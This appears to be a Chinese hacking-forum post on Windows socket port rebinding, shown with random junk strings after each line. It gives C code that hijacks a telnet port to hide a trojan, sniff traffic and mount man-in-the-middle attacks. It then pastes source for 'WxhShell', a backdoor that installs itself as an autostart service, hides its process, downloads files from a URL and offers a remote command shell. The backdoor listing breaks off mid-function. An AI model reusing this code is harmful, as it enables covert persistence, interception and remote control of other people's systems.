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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u=PLjrB~}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >`WQxkpy  
- ]/=WAOK  
  saddr.sin_family = AF_INET; Wt5pK[JV  
Z1$ S(p=)L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2ETv H~23  
MYJMZ3qBi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1e9~):C~W  
KWYjN h#*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3it*l-i\  
,y0 &E8Z  
  这意味着什么?意味着可以进行如下的攻击: q(46v`u  
D @wIbU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %Ze7d&  
WOgkv(5KN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Nj?Q{ztS  
E i2M~/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q4Wz5n1yp7  
sWTa;Qi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VeEa17g&  
) C\/(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )`<&~>qp  
`p)U6J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 25 U+L  
-oZw+ge}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T#e|{ZCbq  
N3Q .4? z9  
  #include am 'K$s  
  #include W3('1  
  #include YHgNL LZ?  
  #include    o*~=NoR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mq}uq9<  
  int main() o=zl{tZV  
  { wqjR-$c  
  WORD wVersionRequested; qs8^qn0A  
  DWORD ret; ^\S~rW.3_  
  WSADATA wsaData; ~4#D G^5  
  BOOL val; M`iE'x  
  SOCKADDR_IN saddr; Q`O~f<a  
  SOCKADDR_IN scaddr; bO('y@)X  
  int err; TQ~a5q  
  SOCKET s; b"Nd8f[  
  SOCKET sc; Rw63{b/  
  int caddsize; J`; 9Z  
  HANDLE mt; E&"V~  
  DWORD tid;   >CcDG  
  wVersionRequested = MAKEWORD( 2, 2 ); n%}#e!  
  err = WSAStartup( wVersionRequested, &wsaData ); {QN 5QGvK  
  if ( err != 0 ) { Tqs|2at<t  
  printf("error!WSAStartup failed!\n"); J}bLp Z  
  return -1; i}f"'KW  
  } (B*,|D[J@i  
  saddr.sin_family = AF_INET; 44k8IYC*o  
   oFzmH!&ED  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Fo0s<YlS-  
SgN?[r)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); . Y!dO@$:  
  saddr.sin_port = htons(23); ]R^xO;g'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I4 <_y5  
  { ZBH^0  
  printf("error!socket failed!\n"); YJDJj x  
  return -1; AnE] kq u  
  } A[F@rUZp  
  val = TRUE; 0a!|*Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }t|i1{%_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BNO+-ob-  
  { J_<6;#  
  printf("error!setsockopt failed!\n"); X_3hh}=  
  return -1; oZL# *Z(h  
  } l%u8Lq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E KJ2P$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w}97`.Kt!n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {XC[Ia6jtL  
pOB<Bx5t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K|D1  
  { ^@Qc!(P  
  ret=GetLastError(); XQOM6$~,  
  printf("error!bind failed!\n"); ZBQ@S  
  return -1; VTX6_&Hc1g  
  } ?5% o-hB|  
  listen(s,2); NE &{_i!  
  while(1) v4X ` Ul*  
  { SoFl]^l  
  caddsize = sizeof(scaddr); CLuQ=-[|  
  //接受连接请求 `O%O[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jnM}N:v  
  if(sc!=INVALID_SOCKET) T}"[f/:N/  
  { Nn?$}g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yKz%-6cpSl  
  if(mt==NULL) YPKB4p#  
  { <1QXZfQ"  
  printf("Thread Creat Failed!\n"); >oi?aD%  
  break;  Oe "%v;-  
  } 4`o<e)c3  
  } \0e`sOS`L  
  CloseHandle(mt); {=U*!`D  
  } ^nFP#J)_5  
  closesocket(s); ?1LRR ;-x  
  WSACleanup(); Q^xk]~G$(  
  return 0; }Q6o#oZ  
  }   v@J[qpX  
  DWORD WINAPI ClientThread(LPVOID lpParam) [e{W:7uFV  
  { ZhC ,nbM  
  SOCKET ss = (SOCKET)lpParam; )tS;gn  
  SOCKET sc; R`Hy0;X  
  unsigned char buf[4096]; <33,0."K  
  SOCKADDR_IN saddr; mO8/eVws[M  
  long num; /*M3Ns1@2  
  DWORD val; Czy}~;_Ay  
  DWORD ret; yGV>22vv M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gr@Ril^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5e?<x>e  
  saddr.sin_family = AF_INET; tCw B 7 c-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7y.iXe!P  
  saddr.sin_port = htons(23); /wP2Wnq$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =u.23#.  
  { Nz; \PS  
  printf("error!socket failed!\n"); 8NJT:6Q7l  
  return -1; $(*>]PC+)  
  } :" @-Bcln  
  val = 100; 8L6b:$Y3@C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p|BoEITL  
  { (I+e@UUiL  
  ret = GetLastError(); U: )Gc  
  return -1; k7cY^&o  
  } Wu$yB!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V"}Jsr  
  { )ac!@slb^7  
  ret = GetLastError(); +NiCt S  
  return -1; |TR +Wn  
  } @:>gRD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qmvQd8|XR  
  { N\rL ~4/  
  printf("error!socket connect failed!\n"); (I35i!F+tY  
  closesocket(sc); 47f\  
  closesocket(ss); @*|T(068&  
  return -1; UG}2q:ST  
  } NBLjBa%eL  
  while(1) 2n-kJl`: O  
  { h[<l2fy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GY^;$?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H4sc7-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1<*U:W $g  
  num = recv(ss,buf,4096,0); H(y Gh  
  if(num>0) q1ZZ T"'  
  send(sc,buf,num,0); ojA!!Ru  
  else if(num==0) Ap4.c8f?Q-  
  break; $~%h4  
  num = recv(sc,buf,4096,0); )%lPKp4]  
  if(num>0) {2i8]Sp1d/  
  send(ss,buf,num,0); K%Bz6 ~  
  else if(num==0) V\l@_%D[(v  
  break; "7j E&I  
  } 4G XS(  
  closesocket(ss); <z>oY2%  
  closesocket(sc); :)&vf<JL  
  return 0 ; $TK= :8HY  
  } ooC9a>X  
A(cR/$fn6  
;BKU _}k=  
========================================================== aeAx0yE[p  
Tf? `_jL  
下边附上一个代码,,WXhSHELL @YG-LEh  
f$vTDak  
========================================================== I`i"*z  
>Q?8tGfB  
#include "stdafx.h" :M<] 6o  
>VX'`5r>uw  
#include <stdio.h> ZE~zs~z|  
#include <string.h> KDH<T4#x  
#include <windows.h> :F@goiuC  
#include <winsock2.h> S2nX{=  
#include <winsvc.h> Xil;`8h  
#include <urlmon.h> Wcm8,?*  
{Qn{w%!|  
#pragma comment (lib, "Ws2_32.lib") LhM$!o?W  
#pragma comment (lib, "urlmon.lib") LIQ].VxIs  
s{j A!T}  
#define MAX_USER   100 // 最大客户端连接数 7q 5 *grm  
#define BUF_SOCK   200 // sock buffer Z&P\}mm   
#define KEY_BUFF   255 // 输入 buffer g2=PZR$  
y~VI,82*  
#define REBOOT     0   // 重启 $em'H,*b3  
#define SHUTDOWN   1   // 关机 ='m%Iq7X  
z0#2?o  
#define DEF_PORT   5000 // 监听端口 9\/oL{  
\k{[HfVvn  
#define REG_LEN     16   // 注册表键长度 %O<8H7e)V  
#define SVC_LEN     80   // NT服务名长度 vUOl@UQ5  
4z9lk^#"X  
// 从dll定义API M]/DKo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^H{YLO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =Vazxt@[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6]kBG?m0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kr `/sWZ  
ecR)8^1 '  
// wxhshell配置信息 Hrph>v  
struct WSCFG { 6 .)Xeb"  
  int ws_port;         // 监听端口 3eXIo=  
  char ws_passstr[REG_LEN]; // 口令 "Aw)0a[j1  
  int ws_autoins;       // 安装标记, 1=yes 0=no a7453s  
  char ws_regname[REG_LEN]; // 注册表键名 <V Rb   
  char ws_svcname[REG_LEN]; // 服务名 .>P:{''  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QG2 Zh9R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kfr1k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kxJ[Bi#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j0V/\Ep)T<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  Pd(_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )5gj0#|CG@  
7')W+`o8eL  
}; VuH ->  
<JU3sXl  
// default Wxhshell configuration "k{so',7z  
struct WSCFG wscfg={DEF_PORT, =WBfaxL}  
    "xuhuanlingzhe", TsGx2[  
    1, Q~VM.G  
    "Wxhshell", /kg#i&bP~  
    "Wxhshell", Gn_DIFa  
            "WxhShell Service", (V]3w  
    "Wrsky Windows CmdShell Service", P)J-'2{  
    "Please Input Your Password: ", js@L%1r#L  
  1, 6Io}3}3  
  "http://www.wrsky.com/wxhshell.exe", Y?3tf0t/  
  "Wxhshell.exe" hpPacN  
    }; y$SUYG'v  
hh&$xlO)(v  
// 消息定义模块 o ]z#~^w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }u=Oi@~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nPqpat`E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .9PT)^2  
char *msg_ws_ext="\n\rExit."; *kg->J  
char *msg_ws_end="\n\rQuit."; |iUC\F=-  
char *msg_ws_boot="\n\rReboot..."; '?L^Fa_H  
char *msg_ws_poff="\n\rShutdown..."; kLZVTVSJt  
char *msg_ws_down="\n\rSave to "; ]+W){W=ai  
O=(F46 M  
char *msg_ws_err="\n\rErr!"; ,w H~.LHi  
char *msg_ws_ok="\n\rOK!"; F P|cA^$<  
*4}NLUVX  
char ExeFile[MAX_PATH]; Ve&_NVPrd  
int nUser = 0;  k%i.B  
HANDLE handles[MAX_USER]; 3 ?I!  
int OsIsNt; FiUwy/,ZV  
!*NDsC9  
SERVICE_STATUS       serviceStatus; \y]K]iv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R_KDY  
e5P9P%1w  
// 函数声明 )H{1 Xjh-  
int Install(void); ^MF 2Q+  
int Uninstall(void); L\:m)g,F.  
int DownloadFile(char *sURL, SOCKET wsh); 3Z=yCec]  
int Boot(int flag); 10 *Tk 8  
void HideProc(void); XGH:'^o_  
int GetOsVer(void); AJxN9[Z!N  
int Wxhshell(SOCKET wsl); #X?[")R  
void TalkWithClient(void *cs); jYRSV7d  
int CmdShell(SOCKET sock); f!w/zC .  
int StartFromService(void); C8> i{XOO,  
int StartWxhshell(LPSTR lpCmdLine); xd ^Pkf  
W/>a 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *qy \%A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9n{Y6I x:  
+KIz#uqF8Z  
// 数据结构和表定义 X~0 -WBz  
SERVICE_TABLE_ENTRY DispatchTable[] = YRX^fZ-b  
{ R^o535pozc  
{wscfg.ws_svcname, NTServiceMain}, nH6SA1$kW  
{NULL, NULL} Sq ]gU  
}; a'?;;ZC-  
a(]&H "  
// 自我安装 k1f<(@*`  
int Install(void) cr{yy :D  
{ 4A6Y \ZXI  
  char svExeFile[MAX_PATH]; {L%JDJ  
  HKEY key; o&Xp%}TI  
  strcpy(svExeFile,ExeFile); ~44u_^a  
XxS#~J?:_  
// 如果是win9x系统,修改注册表设为自启动 &zX  W  
if(!OsIsNt) { @ztT1?!e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S3Gr}N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @qp6Y_,E[  
  RegCloseKey(key); ZZI} Ot{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +u0of^}=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Xl(A]w%!  
  RegCloseKey(key); s.i9&1Y-!  
  return 0; f/UU{vX(  
    } nLz;L r!  
  } WX?nq'nr  
} "I/05k K  
else { K {v^Y,B  
<m`CLVx8m  
// 如果是NT以上系统,安装为系统服务 /-[vC$B"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yj4"eDg]  
if (schSCManager!=0) N{HAWB{  
{ i~]6 0M>  
  SC_HANDLE schService = CreateService 9d#?,:JG  
  ( >*ls} q^  
  schSCManager, .eD&UQ  
  wscfg.ws_svcname, jsE8=zZs  
  wscfg.ws_svcdisp, zP #:Tv'  
  SERVICE_ALL_ACCESS, B]G2P`sN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]A%3\)r  
  SERVICE_AUTO_START, Za|iU`e\  
  SERVICE_ERROR_NORMAL, C78g|n{  
  svExeFile, qm!oJL  
  NULL, xz!0BG  
  NULL, w)+1^eW  
  NULL, AYfOETz  
  NULL, Cy$~H  
  NULL 81{8F  
  ); 49=pB,H;H  
  if (schService!=0) l%"DeRp,/  
  { hHJvLs>^  
  CloseServiceHandle(schService); p7Wt(A  
  CloseServiceHandle(schSCManager); }vZf&ib-   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -J+1V{  
  strcat(svExeFile,wscfg.ws_svcname); ~iH a^i?2*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +\Jo^\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); it\$Pih]  
  RegCloseKey(key); `D[O\ VE  
  return 0; IdAh)#) 7  
    } yO%^[c?  
  } ,FzkGB#  
  CloseServiceHandle(schSCManager); JT0j2_*Rr  
} N)g_LL>^  
} $J4\jIipL  
~ O\A 0e  
return 1; z Fm`e:td  
} uE')<fVX(  
&!X<F,  
// 自我卸载 )v_Wn[Y.H  
int Uninstall(void) T"vf   
{ 7wx=#  
  HKEY key; cmXbkM  
VU,G.eLW  
if(!OsIsNt) { $TXiWW+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |hika`35K  
  RegDeleteValue(key,wscfg.ws_regname); l}L81t7f  
  RegCloseKey(key); aH1CX<3)~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z)C/U  
  RegDeleteValue(key,wscfg.ws_regname); i6_}  
  RegCloseKey(key); Ct)58f2  
  return 0; zni9  
  } \KhcNr?ja=  
} zBy} >Jx  
} n<8WjrK  
else { =|E "  
n/1t UF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ik(YJw'i7E  
if (schSCManager!=0) gW~T{+f  
{ qK.(w Fx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 68u?}8}  
  if (schService!=0) A|f6H6UUx  
  { pmB {b  
  if(DeleteService(schService)!=0) {  aO<7a 6  
  CloseServiceHandle(schService); CHKhJ v3+4  
  CloseServiceHandle(schSCManager); 8C*@d_=q  
  return 0; WBWW7HK  
  } ]?=87w  
  CloseServiceHandle(schService); " 7^nRJy  
  } p\ =T#lb  
  CloseServiceHandle(schSCManager); uG7]s]Wdz;  
} t7-]OY7%w_  
} jI\@<6O  
_ZhQY,  
return 1; J "I,]  
} 8S8qj"s  
gvT}UNqL  
// 从指定url下载文件 f9u=h}  
int DownloadFile(char *sURL, SOCKET wsh) *zPqXtw!j  
{ $}W T"K  
  HRESULT hr; T)I)r239h  
char seps[]= "/"; gf8o~vKX$G  
char *token; %evb.h)  
char *file; aNu.4c/5  
char myURL[MAX_PATH]; \09A"fs{  
char myFILE[MAX_PATH]; fVn4=d6X  
06Wqfzceb  
strcpy(myURL,sURL); $4g {4-)  
  token=strtok(myURL,seps); 0}<blU  
  while(token!=NULL) Yt#; +*d5  
  { F0_w9"3E~  
    file=token; fU|v[  
  token=strtok(NULL,seps); .S|7$_9;b  
  } sn:VMHrOT  
M99ku'  
GetCurrentDirectory(MAX_PATH,myFILE); 6m?<"y8]  
strcat(myFILE, "\\"); XF(D%ygeC  
strcat(myFILE, file);  =Iop  
  send(wsh,myFILE,strlen(myFILE),0); |-V:#1wR.]  
send(wsh,"...",3,0); &233QRYM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qa^cJ1@  
  if(hr==S_OK) Kc\8GkdB  
return 0; nIg 88*6b,  
else LnE/62){N  
return 1; ,7@\e &/&  
X,w X)9]J  
} }BC%(ZH6  
*w@ 1@6?j  
// 系统电源模块 Cqnuf5e>L  
int Boot(int flag) aH. "| *.  
{ ]?(kaNQ "D  
  HANDLE hToken; i5TGK#3o  
  TOKEN_PRIVILEGES tkp; \|S%zX  
4:rwzRDY  
  if(OsIsNt) { flPS+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hYzP6?K"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Gpq{Ph[  
    tkp.PrivilegeCount = 1; x$-kw{N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -/?)0E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gNW+Dq|X%  
if(flag==REBOOT) { ^ELZ35=qZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C,+  
  return 0; imif[n+]}d  
} ;'{7wr|9  
else { Zm0VaOT$I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 23r(4  
  return 0; qj _0 td$  
} 'zm5wqrkAd  
  } }MOXJb @  
  else { v)O0i2  
if(flag==REBOOT) { PoaCnoNS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a^l)vh{+  
  return 0;  p[P# !  
} f>6{tI 5X  
else { SWzqCF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {*+J`H_G2a  
  return 0; zn-=mk;W  
} =%~- M  
} ftRFG  
dGk"`/@  
return 1; }T$BU>z33N  
} d\>XfS  
-& (iU#W  
// win9x进程隐藏模块 sf2%WPK  
void HideProc(void) e;XRH<LhAU  
{ m OUO)[6y  
WOj}+?/3 R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); } +Sp7F1q  
  if ( hKernel != NULL ) Zy7kPL;b  
  { (UkDww_!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hiVa\s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ({rcH.:  
    FreeLibrary(hKernel); ]^"Lc~w8&  
  } *l`yxz@U  
|*t2IVwX  
return; f@;pN=PS  
} g "Du]_,  
uEb:uENk'(  
// 获取操作系统版本 V7U*09 0*5  
int GetOsVer(void) goiI* " 6M  
{ &UH0Tw4   
  OSVERSIONINFO winfo; /(8"]f/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4eB'mPor  
  GetVersionEx(&winfo); L[2N zw O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w` +,  
  return 1; pv0|6X?J"  
  else }+m4(lpl  
  return 0; Ydrh+  
} 2 %fcDEG/  
# l9VTzi  
// 客户端句柄模块 Crc6wmp  
int Wxhshell(SOCKET wsl) NTq_"`JjZ  
{ s~Ivq+ipr;  
  SOCKET wsh; k -jFT3b$  
  struct sockaddr_in client; S6M7^_B4F  
  DWORD myID; <6-73LsHcP  
yFk|8d-|  
  while(nUser<MAX_USER) {,5 .svO  
{ `5- ;'nX  
  int nSize=sizeof(client); <VD7(j]'^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C<teZz8/w  
  if(wsh==INVALID_SOCKET) return 1; fSd|6iFH  
\h'7[vkr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =b*GV6b  
if(handles[nUser]==0) h'S0XU ;  
  closesocket(wsh); T P#Ncqh  
else Io<T'K  
  nUser++; \LJ!X3TZ  
  } @#hQ0F8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %'WC7s  
qery|0W  
  return 0; (pCHj'  
} pmBN?<  
w!<e#Z]3b  
// 关闭 socket !x-__[#  
void CloseIt(SOCKET wsh) 873 bg|^hs  
{ OP+*%$wR  
closesocket(wsh); %|x9C,0p#  
nUser--; .BJoY <P*  
ExitThread(0); 3(K.:376  
} (L4llZ;q  
Vp; `!+z"  
// 客户端请求句柄 +mBS&FK  
void TalkWithClient(void *cs) to).PI?  
{ `Eg X#  
H2|'JA#v  
  SOCKET wsh=(SOCKET)cs; x7 e0&  
  char pwd[SVC_LEN]; F^{31iU~CX  
  char cmd[KEY_BUFF]; 'eBD/w5U  
char chr[1]; ~roNe|P  
int i,j; )0 E_Y@  
'%/=\Q`  
  while (nUser < MAX_USER) { -cUbIbW  
*2/qm:gB  
if(wscfg.ws_passstr) { tt-ci,X+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MzB.Vvsy%9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <LH6my  
  //ZeroMemory(pwd,KEY_BUFF); \YJQN3^46>  
      i=0; &;?+ ^L>  
  while(i<SVC_LEN) { tH; 6 Mp;f  
%`pi*/(  
  // 设置超时 [L-wAk:Fb  
  fd_set FdRead; Kn$t_7AF^  
  struct timeval TimeOut; ?`Z:vqp>Z  
  FD_ZERO(&FdRead); {Pe&J2 +  
  FD_SET(wsh,&FdRead); 7_3 PM 3C  
  TimeOut.tv_sec=8; 8>j&) @q  
  TimeOut.tv_usec=0; 1E!.E=Y ?M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ylos6]zS8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v$@1q9 5J  
fk15O_#3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fX:q ]  
  pwd=chr[0]; =#4>c8MM  
  if(chr[0]==0xd || chr[0]==0xa) { WYRC_U7  
  pwd=0; v B~VJKD  
  break; 3%r/w7Fc  
  } >q?{'#i /  
  i++; sa<\nH$_X  
    } 7)}_'p  
}s?w-u+(c6  
  // 如果是非法用户,关闭 socket m["e7>9G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n|WSnm,W  
} a5m[ N'kah  
;Q&9 t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~G8l1dD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #ZPF&u"  
78:x{1nUM[  
while(1) { UxB3/!<5g3  
9G6ZKqum  
  ZeroMemory(cmd,KEY_BUFF); ^PE|BCs  
(qR;6l  
      // 自动支持客户端 telnet标准   \;_tXb}F  
  j=0; L;g2ZoqIr0  
  while(j<KEY_BUFF) { ^-Arfm%dn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #a@jt  
  cmd[j]=chr[0]; W,,3@:  
  if(chr[0]==0xa || chr[0]==0xd) { m4uh<;C~  
  cmd[j]=0; dm_Pz\ *  
  break; qp*~  |  
  } ,hJx3g5#n  
  j++; WoN JF6=?  
    } JXww_e[  
HD{u#~8{  
  // 下载文件 3&E@#I^] ,  
  if(strstr(cmd,"http://")) { IDF0nx]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E0HE@pqr  
  if(DownloadFile(cmd,wsh)) LZG(T$dI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +B8oW3v# )  
  else bUy!hS;s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dtV*CX.D.7  
  } f6SXXkO+  
  else { zV15d91GX  
-;6uN\gq  
    switch(cmd[0]) { r$M<vo6C  
  &xUCXj2-z  
  // 帮助 Wn=I[K&&  
  case '?': { t:oq't  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XmwR^  
    break; Hr]  
  } FmF[S&gFRs  
  // 安装 uF3{FYM{I  
  case 'i': { Exv!!0Cd^  
    if(Install()) iu{;|E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VR_/Vh ]@  
    else i&m6;>?`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m=COF$<  
    break; 3qu?qD  
    } 0S+$l  
  // 卸载 }9B},  
  case 'r': { dEkST[Y3  
    if(Uninstall()) Ed;!A(64r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zA|lbJz=GY  
    else =d~pr:.F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W:WRG8(F  
    break; 3 %r*~#nz  
    } 45Zh8k  
  // 显示 wxhshell 所在路径 o&k,aCQC  
  case 'p': { *yZta:(w-W  
    char svExeFile[MAX_PATH]; Rq",;,0ZJ  
    strcpy(svExeFile,"\n\r"); MVQ6I/EA4  
      strcat(svExeFile,ExeFile); =D?HL?  
        send(wsh,svExeFile,strlen(svExeFile),0); qKeR}&b  
    break; D > U(&n  
    } DuAix)#FN9  
  // 重启 pnuwj U-  
  case 'b': { d'Dd66  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f2KH&j>~r  
    if(Boot(REBOOT)) P A*U\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>\DM'{:4  
    else { OFcP4hDi  
    closesocket(wsh); =SW<Vhtb  
    ExitThread(0); %@aC5^Ovy+  
    } Wy1.nn[  
    break; x}` )'a[  
    } m,6u+Z ,  
